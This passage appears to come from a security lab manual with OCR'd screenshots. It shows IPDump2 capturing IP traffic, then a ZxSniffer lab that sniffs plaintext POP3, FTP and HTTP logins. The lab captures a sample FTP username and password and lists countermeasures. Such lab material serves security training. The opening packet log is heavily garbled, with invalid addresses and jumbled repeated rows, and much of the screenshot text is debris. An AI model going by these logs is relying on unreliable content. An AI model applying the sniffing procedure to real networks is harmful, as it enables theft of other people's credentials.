21313: 1420 121 B3:005 TCP: 200,112,177,50: 11492 → 172,16.145: 2313. 1420 121 B3:005 TCP: 200,112,177,50: 11492 → 172,16.145: 2313. 1420 121 B3:005 TCP: 200,112,177,50: 11492 → 172,16.145: 2313. 1420 121 B3:005 TCP: 200,112,177,50: 11592 → 172,1	0-12 18 36:05 TCP: 209.132.177.50 : 38639 -> 172.16.1.45 : 36678 52		
12 18 34:05 TCP 172.16.1.45 18839 > 209.132.177.50 186978 52 ↓ 21 183:06 TCP 172.16.1.45 128693 > 209.132.177.50 186978 52 ↓ 21 183:065 TCP 172.16.1.45 126490 > 201.32.177.50 186992 574 ↓ 12 183:065 TCP 209.132.177.50 124490 >> 172.16.1.45 126992 52 12 183:065 TCP 209.132.177.50 124495 >> 172.16.1.45 12692 52 ↓ 12 183:065 TCP 172.16.1.45 129068 >> 209.132.177.50 114695 52 ↓ 12 183:065 TCP 172.16.1.45 129068 >> 209.132.177.50 114695 52 ↓ 12 183:065 TCP 172.16.1.45 129068 >> 209.132.177.50 114695 52 ↓ 12 183:065 TCP 172.16.1.45 12445 >> 102.181.175.50 12420 ↓ 12 183:065 TCP 172.10.14.15 2545 >> 102.181.175.50 12420 ↓ 12 183:065 TCP 172.10.14.15 2545 >> 102.181.775.50 11475 52 ↓ 12 183:065 TCP 172.10.14.15 2825 >> 202.132.177.50 114875 52 ↓ 12 183:065 TCP 172.10.14.15 2825 >> 202.132.177.50 11475 52 ↓ 12 183:065 TCP 172.10.14.15 2825 >> 202.132.177.50 11475 52 ↓ 12 183:065 TCP 172.10.14.15 2825 >> 202.132.177.50 11475 52 ↓ 13 184:05 TCP 172.10.14.15 2825 >> 202.132.177.50 11475 52 ↓ 13 184:05 TCP 172.10.14.15 2825 >> 202.132.177.50 11475 52 ↓ 13 184:05 TCP 200.132.177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 13 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 14 184:05 TCP 300 120 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 12 12 12 177.50 15882 172.10.14.55 23 ↓ 15 12 12 12 12 12 12 12 12 12 12 12 12 12	0-12 18:36:05 TCP: 209.132.177.50: 38639 -> 172.16.1.45: 36678 60	Ϋ́	
121 B3:005 TCP: 172.16.145: 26490 → 209.132.177.50: 26992 574 212 B3:005 TCP: 209.132.177.50: 26490 → 172.16.145: 20989 52 121 B3:005 TCP: 209.132.177.50: 26490 → 172.16.145: 20985 52 121 B3:005 TCP: 127.16.145: 20808 → 209.132.177.50: 14695 52 121 B3:005 TCP: 127.16.145: 20808 → 209.132.177.50: 14695 52 121 B3:005 TCP: 127.16.145: 52455 → 107.16.145: 1475 1420 121 B3:005 TCP: 127.16.145: 52455 → 107.16.145: 11875 152 121 B3:005 TCP: 127.16.145: 15255 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 15255 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1325 75 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1325 75 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1325 75 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 13175 152 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 127.16.145: 1312 177.50: 158825 → 107.16.145: 1313 1420 121 B3:005 TCP: 120.15.175 121 B3:005 TCP: 120.15.1	0-12 18 36:05 TCP: 172.16.1.45 : 38639 > 209.132.177.50 : 36678 52	7	
12 18:005 TCP: 209,132,177,50: 2494 0 → 172,16,145: 26992 52 12 18:005 TCP: 209,132,177,50: 29808 → 127,16,145: 14985 1420 12 18:2605 TCP: 209,132,177,50: 29808 → 209,132,177,50: 14985 1420 12 18:2605 TCP: 127,2,16,145: 25445 → 127,16,145: 8736 1420 12 18:2605 TCP: 127,16,145: 25445 → 127,16,145: 11875 1420 12 18:2605 TCP: 127,16,145: 25245 → 172,16,145: 11875 152 12 18:2605 TCP: 127,16,145: 25245 → 127,16,145: 11875 152 12 18:2605 TCP: 127,16,145: 2525 → 127,16,145: 11875 152 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 18925 52 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18:2605 TCP: 127,16,145: 12825 → 020,122,177,50: 1892 54 12 12 18 12 177,50: 1892 54 12 12 18 12 177,50: 1892 54 12 12 18 12 177,50: 1892 54 12 12 12 12 12 12 177,50: 1892 54 12 12 12 12 12 12 12	0-12 18:36:05 TCP: 172.16.1.45 : 26490 -> 209.132.177.50 : 26992 574		
12 18 80.05 TCP 200,113,177,50,2808 ⇒ 172,16,145,14895 1420 121 83:005 TCP 200,113,177,50,2808 ⇒ 200,312,175,51 14895 52 121 83:005 TCP 200,113,177,50,28445 ⇒ 172,16,145,8776 1420 121 83:005 TCP 200,113,177,50,28455 ⇒ 172,16,145,8776 52 121 88:005 TCP 127,16,145,15845 ⇒ 200,132,177,50,17855 52 121 88:005 TCP 127,16,145,18825 ⇒ 172,16,145,11875 52 121 88:005 TCP 127,16,145,18825 ⇒ 172,16,145,2131,31420 121 88:005 TCP 127,16,145,18825 ⇒ 172,16,145,2131,31420 121 88:005 TCP 200,113,177,50,18882 ⇒ 172,16,145,2313,1420 121 840,172,174,174,174,174,174,174,174,174,174,174	0-12 18:36:05 TCP: 209.132.177.50 : 26490 -> 172.16.1.45 : 26992 52		
121 B3:06 TCP: 172.16.1.45: 29808 ⇒ 209.132.177.50: 14895 52 121 B3:06 TCP: 020132.177.50: 25445 ⇒ 127.16.1.45: 8776 1420 121 B3:06 TCP: 020132.177.50: 24545 ⇒ 209.132.177.50: 1875 52 121 B3:06 TCP: 172.16.1.45: 25455 ⇒ 209.132.177.50: 11875 52 121 B3:06 TCP: 172.16.1.45: 28525 ⇒ 209.132.177.50: 11875 52 121 B3:06 TCP: 172.16.1.45: 2855 ⇒ 209.100; 121 B3:06 TCP: 120.100; 120.100; 120.100; 120.100; 120.100	0-12 18 36:05 TCP: 209.132.177.50 : 29808 -> 172.16.1.45 : 14895 1420		
12 18 84:05 TCP 200,132,177,50 : 25445 → 172,16,145 : 8776 1420 121 83:05 TCP 200,132,177,50 : 25455 → 032,127,750 : 6776 52 121 83:05 TCP : 127,16,145 : 25455 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 28525 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 28525 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 28525 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 28525 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 28525 → 032,127,750 : 17875 52 121 83:05 TCP : 127,16,145 : 1852 → 127,16,145 : 2313 : 1457 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 2313 : 1457 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1852 → 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1875 52 121 84:05 TCP : 127,16,145 : 1875 52 121 84:05 TCP : 120,152 : 127,50 : 1582 → 127,16,145 : 1875 52 121 84:05 TCP : 120,152 : 127,50 : 1582 → 127,16,145 : 1875 52 121 84:05 TCP : 120,152 : 127,50 : 1582 : 127,50 : 1582 : 127,50 : 1582 : 127,50 : 1582 : 127,50 : 1582 : 128,50 : 127,50 : 1582 : 127,50 : 127,	0-12 18:36:05 TCP: 172.16.1.45 : 29808 -> 209.132.177.50 : 14895 52		
121 B3:06 TCP: 172.16.1.45: 254:45 ≈ 209.132.177.50: 8736 52 211 B3:06 TCP: 209.132.177.50: 2635 ≈ 172.16.1.45: 11875 1420 121 B3:06 TCP: 172.16.1.45: 28525 ≈ 209.132.177.50: 11875 52 121 B3:06 TCP: 172.16.1.45: 2852 ≈ 209.132.177.50: 11875 52 121 B3:06 TCP: 172.16.1.45: 2855 ≈ 209.152: 172.16.1.45: 2855 ≈ 209.152: 172.16.1.45: 2855 ≈ 209.152: 172.16.1.45: 2855 ≈ 200.152: 1805 1400 1400 1400 1400 1400 1400 1400 14	0-12 18:36:05 TCP: 209.132.177.50: 25445 -> 172.16.1.45: 8736 1420		
121 B8:065 TCP; 209,132,177,50; 28525 → 172,16,145; 11875 1520 121 B8:065 TCP; 209,132,177,50; 18825 → 0323,177550; 11875 52 121 B8:065 TCP: 209,1132 1775 50; 15882 → 172; 16,145; 2313, 1420 Captured bt' selected (20,0 K) Captured bt' selected (20,0	0-12 18:36:05 TCP: 172.16.1.45: 25445 -> 209.132.177.50: 8736 52		
12 18 80.05 TCP 172.16.145 : 28525 > 209.132.177.50 : 11875 52 13 18 92.06 TCP 200 132 1775 00 : 15882 → 172 16.145 - 2313 1420 Captured 1xt* selected (20.0 K) Sat Nov 6 38 P	0-12 18:36:05 TCP: 209.132.177.50: 28525 -> 172.16.1.45: 11875 1420		
12 18 84:05 TCP - 206 112 177 50 - 15882 - 172 16 1 45 - 2313 1420	0-12 18:36:05 TCP: 172.16.1.45 : 28525 > 209.132.177.50 : 11875 52		
Captured.txt* selected (20.0 K)	0.12 18-36-05 TCP- 209 132 177 50 - 15882 -> 172 16 1 45 - 2313 1420		•
	"captured.txt" selected (20.0 K)		
Sar Nov 638 P			
		0	Sat Nov 12
			6:38 PM
			0.00

For Windows

From the directory containing the IPDump2 executable, type:

ipdump2 0

*Note: The interface in this example is *0* as it is the only interface in this virtual machine. If you have multiple NICs you may wish to use other NICs by incrementing the number: *1*, *2*, and so on.



The IPDump2 application will display the packet flow on the screen. Unless instructed otherwise, the application will continue to run until the **Ctrl** plus the **C** keys are pressed.

© ≣ ₩	indow	, 2000	Profess	sional -	VMwa	re Work	stati	on														
File	Edit	View	VM	Team	Windo	vs Hel	p															
	00	0	9 12		10				1													
合下	lome	🔒 Wi	ndows	2000 Pr	ofessi	onal	Rec	d Hat Linu	×F	i Red	Hat Lini	ux 8 Ser	ver	En V	ándov/	s 2000	Sen	ver	5	Windows	4	► ×
6																						
My Dr	orumeni	< R	emote																			
			sktop																			
J																						
My C	ompute	r I	5 C:/W	INNT\	Systen	132\cm	d.exe													_1	'×	
			10-12	18:4	9:42 9:42	TCP: TCP:	64	172.	$16.1. \\ 161.1$.43 : 47 :	340 340	19 -> 19 ->	64	1.233	.161	.147		7981 7981		40 40	-	
1			10-12 10-12	18:4	9:42	TCP: TCP:	64	1.233.	161.1	47:	181 428	$1 \rightarrow 2 \rightarrow$		172	.16.	.43		8769 1803	Ø	1470 651		
My N	ietwork		10-12 10-12	18:4 18:4	9:42 9:43	TCP: unsu	נסטט	172. rted I	16.1. P pro	.43 : otoco	428	2 ->	64	1.233	.161	.147		1803	Ø	40		
			10-12 10-12	$18:4 \\ 18:4$	9:43 9:43	unsu TCP:	îpîpor	rted I 172.	P pro 16.1.	toco 43 :	1 17 428	2 ->	2	16.2	39.5:	.99		1803	0	48		
í	0		10-12 10-12	$18:4 \\ 18:4$	9:43 9:43	TCP: TCP:	2	172.	16.1. 9.51.	.43 : .99 :	428 428	$\begin{array}{ccc} 2 & - \\ 2 & - \end{array}$	2	16.2	39.5: .16.	1.99 1.43		1803 1803	0	40 44		
Rec	vole Bin		10-12 10-12	$18:4 \\ 18:4$	9:43 9:43	TCP: TCP:	2	172. 216.23	16.1. 9.51.	.43 : .99 :	136 136	23 -> 23 ->	2	16.2	39.5 .16.	1.99 1.43		$1367 \\ 1367$	9	462 40		
			10-12 10-12	18:4 18:4	9:43 9:43	TCP: TCP:	1	216.23 216.23	9.51. 9.51.	.99 : .99 :	136 303	$23 \rightarrow 78 \rightarrow$		172 172	.16.	.43		$1367 \\ 1237$	Ø 5	40 1470		
1			10-12 10-12	18:4 18:4	9:43 9:43	TCP: TCP:	2	216.23 172.	9.51. 16.1.	.99 : .43 :	433 433	$61 \rightarrow 61 \rightarrow$	2	172	.16. 39.5	.43		4989 4989		779		
0 Int	ternet		10-12 10-12	18:5	0:01 0:01	TCP: TCP:		172. 172.	$16.1. \\ 16.1.$	43 :	433 433	$61 \rightarrow 61 \rightarrow 61 \rightarrow 7$	64	4.23	$3.18 \\ .167$.99 104	-	4989 4989		40 40		
	plorer		10-12	18:5	0:01	TCP		172.	16.1.	43	433		64	.233	.161	104		4989		40		
É	1		10-12	18:5	0:01	TCP:		172.	16.1.	43	433	61 - > 61 - >	2	16.2	39.5	.147		4989 4989		40 40		
La Carlor	HZ. /in7in		10-12 ^C	10:5	0=17 do: i:	unsu dum 2	ippoi	rtea I	r pro		1 17										-	
			G • (D0	wittoa	us XI		хтр	aanpz	preis	<i></i>												
H																						
La	anSpy																					
in the second se	itart		6 Şi) <u>e</u> r	Vetwork	ing Tools	(C:\Do	winloads	s\ipd	C C	WINN	T\Sys	st					4	K ()	6:5	D PM
																				2		(1)

IPDump2 also allows for the saving of the output to a file for later analysis by typing:

./ipdump2 0 >> captured.txt



By opening the file with a text editor the contents of the **captured.txt** file are ready for analysis.

@] W	indow	s 2000	Profe	essional	- VMwa	re W	orksta	tion								_ 🗆 ×
File	Edit	View	VM	Team	Windo	ws	Help									
	00	D C	2	03	10	O		9	G							
ĥ١	lome	🔐 Wir	ndow	rs 2000 P	rofessi	onal	🚯 R	ed Ha	t Linux	in F	ed Hat Linux 8 Server	F	V/indows	2000 Server	Windows	4 > x
<u>₽</u> ac	apture	d - Not	epad													_ 8 ×
File	Edit	Format	Help	, ,												
10-	12 1	8:51:2	29	TCP:	1	72.1	6.1.4	3:	6688	->	64.233.187.99	2:	37377	48		<u> </u>
10-	12 1	B:51:2	29	TCP:	64	233.	187.9	99 :	6688	->	172.16.1.43		37377	40		
10-	12 1	B:51:2	29	TCP:	1	72.1	6.1.4	3 :	6688	->	64.233.187.99	• :	37377	319		
10-	12 13	8:51:2	29	TCP:	64.	233.	187.9	99 :	6688	->	172.16.1.43	::	37377	40		
10-	12 1	B:51:2	29	TCP:	64.	233.	187.9	9 :	4601	5>	172.16.1.43	: :	57732	1470		
10-	12 1	B:51:2	29	TCP:	64.	233.	187.9	99 :	46873	3 ->	172.16.1.43	: :	31956	415		
10-	12 1	8:51:2	29	TCP:	1	72.1	6.1.4	3:	46873	3 ->	64.233.187.99	2	31956	40		
10-	12 1	B:51:3	32	TCP:	1	72.1	6.1.4	3	4687	3 ->	64.233.161.147	. :	31956	40		
10-	12 1	B:51:3	32	TCP:	64.2	33.1	61.14	7 :	4687	3 ->	172.16.1.43	: :	31956	44		
10-	12 1	B:51:3	32	TCP:	1	72.1	6.1.4	3 :	12593	3 ->	64.233.161.147	: :	13105	433		
10-	12 1; 12 1;	B: 51:3	52 32	TCP:	64.2	55.1 33.1	61.14	7	1259	5 -> 3 ->	172.16.1.43		13105	40		
10-	12 1	B:51:3	32	TCP:	64.2	33.1	61.14	7 :	40349	á - Á	172.16.1.43	: :	24094	1470		
10-	12 1	8:51:	32	TCP:	64.2	33.1	61.14	7 :	1423	2 ->	172.16.1.4	: :	5361	1470		
10-	$\frac{12}{12}$ $\frac{1}{12}$	8:51:: 8:51::	52	TCP:	64 2	/2.1	61 1/	5 :	2423	2 ->	04.233.101.14/	1	5361 41201	40		
10-	12 1	B:51:3	32	TCP:	64.2	33.1	61.14	7 :	52558	3 ->	172.16.1.4	:	19628	1470		
10-	12 13	8:51:3	32	TCP:	64.2	33.1	61.14	7 :	21300	-> C	172.16.1.43	; ;	14599	1470		
10-	12 1	B:51:3	32	TCP:	1	72.1	6.1.4	3 :	21300	2 ->	64.233.161.147	1	14599	40		
10-	12 1	B:51:3	32	TCP:	64.2	33.1	61.14	7 :	2826	2 ->	172.16.1.43	: :	52010	1470		
10-	12 1	8:51:3	32	TCP :	64.2	33.1	61.14	7 :	62649	9 ->	172.16.1.43	:	10097	1470		
10-	12 1	B:51:3	32	TCP:	1	72.1	.6.1.4	3 :	62649	<u></u>	64.233.161.147	:	10097	40		
10-	12 13	8:51:: 8:51:3	32	TCP:	64.2	33.1 22 1	61 1/	4 :	21980	5 -> I _\	172.10.1.4:		38817	1470		
10-	12 1	B:51:3	32	TCP:	1	72.1	6.1.4	3 :	5117	1-5	64.233.161.147	-	11031	40		
10-	12 1	8:51:3	32	TCP:	1	72.1	.6.1.4	3 :	1259	5 ->	64.233.161.147	: :	12592	446		
10-	12 1; 12 1;	8:51:3	32	TCP:	64 2	72.1	6.1.4	3 :	1259	<u>b</u> ->	64.233.161.147	11	12592	48		
10-	12 1	8:51:3	32	TCP:	64.2	33.1	61.14	7 :	1259	ś	172.16.1.43	1	12592	167		
10-	12 1	B:51:3	33	TCP:	1	72.1	6.1.4	3 :	1259	5 ->	64.233.161.147		12592	40		
10-	12 1	8:51:3	33	TCP:	64.2	33.1	61.14	7 :	1259	5 ->	172.16.1.43		12592	44		
10-	12 1: 17 1:	8:51:3 R:51:3	22	TCP:	64.2	/2.1 22.1	.0.1.4 61.14	5 .	2158	L ->	172.16.1 43		15665	450		
10-	12 1	8:51:3	33	TCP :	64.2	33.1	61.14	7	2158	ī ->	172.16.1.43	1	15665	40		
10-	12 1	8:51:3	33	TCP:	64.2	33.1	61.14	7 :	2158	L ->	172.16.1.43		15665	167		
10-	12 13	8:51:5	55	ICP:	1	/2.1	.0.1.4	5 :	21283	L ->	04.235.101.14/	:	τορρο	450		-
1	5tart	3	e c		Networl	king T	ools	6	:\Downlo	ads\ipc	🖾 C:\WINNT\Syst	e	Capt	ured - Note		6:52 PM
															2	

*Note: IPDump2 is a good tool for tracking the data flow in and out of the computer it is installed on by providing a quick display of the IP connections taking place as well as ports in use. Security professionals can use this type of application to quickly spot ports commonly used by known Trojans.
Lab 46: Password Capture — Sniffer

Exploit Passwords and Sniff the Network: ZxSniffer

Prerequisites: None

Countermeasures: Encryption, various sniffer detector applications **Description:** The ZxSniffer application is an excellent utility that allows you to capture packets as they traverse the network, save to output to a file for further review, and capture passwords for POP3, FTP, ICQ, and HTTP traffic.

Procedure: Install and run the ZxSniffer executable.

Double-click the **ZxSniffer** executable.



Click Next.

📓 Windows 2000 Professional - VMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
Hom Windows 2000 Professional Red Hit Linux Red Hit Linux 8 Server Windows 2000 Server <t< td=""><td>X</td></t<>	X
[調査start]] (四) (@) Cpi]] @] WebHACK.ru: Download [그C:]Downloads[2:/Sniffer]] 惨 ZxSniffer Setup: Welc 回伏嬰翎 11	45 PM

Accept the default *Destination folder* and select either **Add Desktop icon** and/or **Add Start menu icon**. Click **Install**.

📓 Windows 2000 Professional - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🏠 Home 🔒 Windows 2000 Professional 🚯 Red Hat Linux 👔 Red Hat Linux 8 Server 📓 Windows 2000 Server 📓 Windows	4 > x
My Documents Remote Desktop	
My Computer	
My Network.	
for Windows 98, ME, 2000, XP	
Recycle Bin Destination folder:	
✓ Add Desktop icon	
Add Start menu icon	
Explorer Back Install Cancel	
WnZp	
LanSpy	
😹 Start 🛛 🗃 🍘 🖏 🖉 🖉 WEB-HACK.ru: Download 🔄 C:\Downloads\ZxSniffer 🛛 👘 ZxSniffer Setup: Setti 🕲 🕸 🗐 1	1:47 PM

The ZxSniffer application will install. Click Exit.



If you receive a Cannot found selected adapter error, click OK.



The Options screen will appear. Select the NIC you want ZxSniffer to use.



The default screen is the *Password* capture screen and by default, is turned ON. As plain text, username/passwords traverse the network, ZxSniffer will capture and display them on this screen.



*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub, you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to/from your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.

By clicking on the **Traffic** icon the traffic monitoring screen appears. As traffic moves through the network the data is displayed on this screen.



From the data captured in this example, notice the column named *Direction* because compared to other traffic monitoring applications ZxSniffer is intelligent enough by simply flipping the arrow indicating the direction of the traffic instead of entering a new line for each flow change. This makes it easier for the user to track communications.



By clicking on the **Save** icon ZxSniffer will ask for a location to save the data to. Give the captured data a filename and accept the default location and click **Save**. (This is another nice feature of ZxSniffer as it saves the data in HTML format.)

🗐 Windows 2000 Professional - ¥Mware W	rkstation		_ 🗆 ×
File Edit View VM Team Windows	telp		
A Home Rewindows 2000 Professional	To Red Hat Linux 5.8 Red Hat Linux 8.8	erver 1 5 Windows 2000 Server	A Windows 4 • ×
My Documents Remote Deskton			
My Computer ZxSniffer 🛛 💐 🤋 Sar	e Traffic	×	
Save in	🔄 ZxSniffer 📃 💌		
My Network Password T		Exit	
Places Protocol A		ususus II-s	
UDP 1			
Recycle Bin LIDP 1			
TCP 1			
UDP 1 IOMF 1 File part	captured 1	Save	
Internet UDP 1 Save as	vpe: HTML files (".htm.".html)	Cancel	
UDP 1	nie werinen werinen werinen werinen.		
UDP 172.16.1.40	NET > 172.16.255.255	NET	
Winzip TCP 172.16.1.40	1042 I 172.16.1.40	NET	
UDP 172.16.1.37	NET > 172.16.255.255	NET	
	NET ▶ 172.16.209.209		
	ASEASEASEASEAS	NEX DE CERTE	
caropy —			
Start C & S WEB-HACK.n	Download	1 ZxSpiffer	
			a transfer

By opening the file (the default location ZxSniffer files are saved to is **C:\ ProgramFiles\ZxSniffer**/, you can review the results of the file in HTML format.

		(captored 1.non			• @(
			Traffi	c	
Protocol	Address	Port	Direction	Address	Port
JDP	172.16.1.35	NETBIOS-NS	>	172.16.255.255	NETBIOS-NS
ICP	172.16.1.43	1180	<	64.233.187.99	HTTP
JDP	172.16.1.43	1181	<	172.16.0.1	DNS
TCP	172.16.1.43	1182	<	64.233.167.104	HTTP
JDP	172.16.1.37	NETBIOS-DGM	>	172,16,255,255	NETBIOS-DGM
	172.16.1.43		>	172.16.255.255	
JDP	172.16.1.43	NETBIOS-DGM	>	172.16.255.255	NETBIOS-DGM
JDP	172.16.1.40	NETBIOS-DGM	>	172.16.255.255	NETBIOS-DGM
JDP	172.16.1.40	NETBIOS-NS	>	172.16.255.255	NETBIOS-NS
ЛDР	172.16.1.43	NETBIOS-NS	>	172.16.1.40	NETBIOS-NS
ICP	172.16.1.40	1042	>	172.16.1.43	NETBIOS-SSN
ЛDР	172.16.1.37	NETBIOS-NS	>	172.16.255.255	NETBIOS-NS
	170 16 1 24	ATTENDIOG DOM		170 16 066 066	ATTENDING DOM

From the ZxSniffer application click on the **Capture** icon. The packet capture screen will appear.



Click on the **Start** icon to initiate the packet capture (sniffer).



When enough data has been captured, click on the **Stop** icon and the captured data will appear.

👰 Windows 2000) Professional - ¥Mwa	are Workstation					_ 🗆 ×
File Edit View	VM Team Windo	ows Help					
	a 10 0 10		10				
					. V		Materia d b M
A Home	Indows 2000 Profess	ional B B Red Hat L	nux 📑 Red I	Hat Linux 8 Server	r 🛛 🚯 Vindow:	2000 Server	i windows V VX
My Documents F	Remote						
De	esktop						
	5						
	Capture					E	
My Computer Z			~ K	63 652			
65			~ ~	and and			
62	Start Stop	Filter Packets	Header Da	ata Uptions	Llose		
My Network	Active Protocol A	ddress 1	Direction Ad	dress 2	Data L	Data Keywords	
Places							
<u> </u>							
6							
Recycle Bin	No. Protocol	Source Source	BIP Source P	Dest MAC D	est IP Dest P	ort Data Length	
		00:30:18 172.1	5. I NE I BIU	Broadcast 1. Broadcast	72.16.2 NETB	0 207	
	3 ARP	00:12:88:		Broadcast		18	
Internet	4 ARP	00:12:88:		Broadcast		18	
Explorer	Ethernet Header	00000000	11 02 89 4E	AC 10 01 21	00 8A 00 C1	th- ! Š Á	
<u>a</u> .	Dogt MAC	00 00000000000000000000000000000000000	46 46 44 43	44 46 41 45	4A 46 47 45	FRICACACACAC	
	Protocol type	0x 00000024	41 43 41 43	41 43 41 43	41 41 41 00	ACACACACAAAA	
WinZip	IP Header	00000030	20 41 42 41	43 46 50 46	50 45 4E 46	ABACFPFPENF	
	Version	4 0000003C	44 45 43 46	43 45 50 46	48 46 44 45	DECFCEPFHFDE	
	Service type	0x1 00000048	46 46 50 46 4D 42 25 00	00 00 00 00	42 00 11 55	MB&	12
	Total length	2300000060	00 00 00 00	00 00 00 00	00 00 00 00		
LanSpy	Frament. TD	0000006C	00 00 00 00	00 00 11 00	00 27 00 00		
		L00000078	1.00.00.00.00	00 00 00 E8	03 00 00 00	Á	
Start 3	🙆 🗐 🗍 🖉 WEB-Н.	A C:\Downl	🦻 ZxSniffer	C:\Progr	9 Capture	C:\WINN	🖗 🅀 🚅 🛛 12:12 AM

From the data captured, scroll through the center area and view the content of the packet in the lower-right area of the ZxSniffer screen to look for any valuable data that may be in the packets (plain text).

In this case, an FTP session was established with the username of **hacker**.

폐 Windows 2000 Professional - YMware Workstation	- 🗆 ×
File Edit View VM Team Windows Help	
🛆 Home 🗃 Windows 2000 Professional 🚯 Red Hat Linux 👫 Red Hat Linux 8 Server 🚯 Windows 2000 Server 🚮 Windo	wvs 🛛 🕨 🗙
My Documents Remote	
Desktop	
My Computer 2x Reputite	
Active Protocol Address 1 Direction Address 2 Data L Data Kewoods	
My Network Places Place	
Kecycle Bin No. Protocol Source Source IP Source P Dest MAL Dest IP Dest Port Data Length 50 ARP 00:12:88 Broadcast	
51 ARP 00:12:08 Broadcast 18	
Internet	
Explorer Ethernet Header Source MAC 00	
Dest MAC 00	
White IP Header	
Version 4 Header length 20	
Service type Ox	
LanSpy Framment TD Dr	
	E 12/12 AM

By scrolling through the packets one at a time, the password is also displayed. In this case the password is **zerocool**.

👰 Windows 2000	Professional - YMware Workstation	_ 🗆 X
File Edit View	VM Team Windows Help	
🛆 Home 🔒 🖶	indows 2000 Professional 🔐 Red Hat Linux 🕋 Red Hat Linux 8 Server 🔐 Windows 2000 Server 👘 Windows	
My Documents	2 monte	
De	isktop	
	5	
My Computer 7	🕅 🗣 Capture	
62 C	Start Stop Filter Packets Header Data Options Close	
Mv Network	Active Protocol Address 1 Direction Address 2 Data L Data Keywords	
Places		
100		
Recycle Bin	No. Protocol Source, Source P. Dest MAC Dest IP. Dest Port Data Length	
	58 IP:TCP 00:12:88 64.233.1 HTTP 00:0C:29 172.16.1 1185 6	
	G0 IP TCP 00:02:28 Broadcast I8 I0 I0 I0 I0 I0 I	
Internet	G1 IP: TCP 00.0C.29 172.16.1 FTP 00:0C.29 172.16.1 1186 28	
Explorer	Ethernet Header O0000000 50 41 53 53 20 7A 65 72 6F 63 6F 6F 6C PASS zerocool Source MAC 00 0000000 0D 0A	
	Dest MAC 00	
WinZip	Protocol type 0x IP Header	
	Version 4	
•	Service type 0x	
LanSpy	Total length 55	
🕂 Start	🍘 🗊 🛛 🖉 WEB-HA 🔄 C1\Downl 🦻 ZxSniffer 🛛 🔤 C1\Progr 🐌 Capture 🔤 C1\WINN 🖗 🕀 🕮 🛛	2:13 AM
		🖽 👀 //.

Minimize the application and it will place an icon by the clock in the lowerright section of the Windows desktop. By placing the mouse over this icon periodically, ZxSniffer will let you know how many new passwords have been captured since the last time you checked.



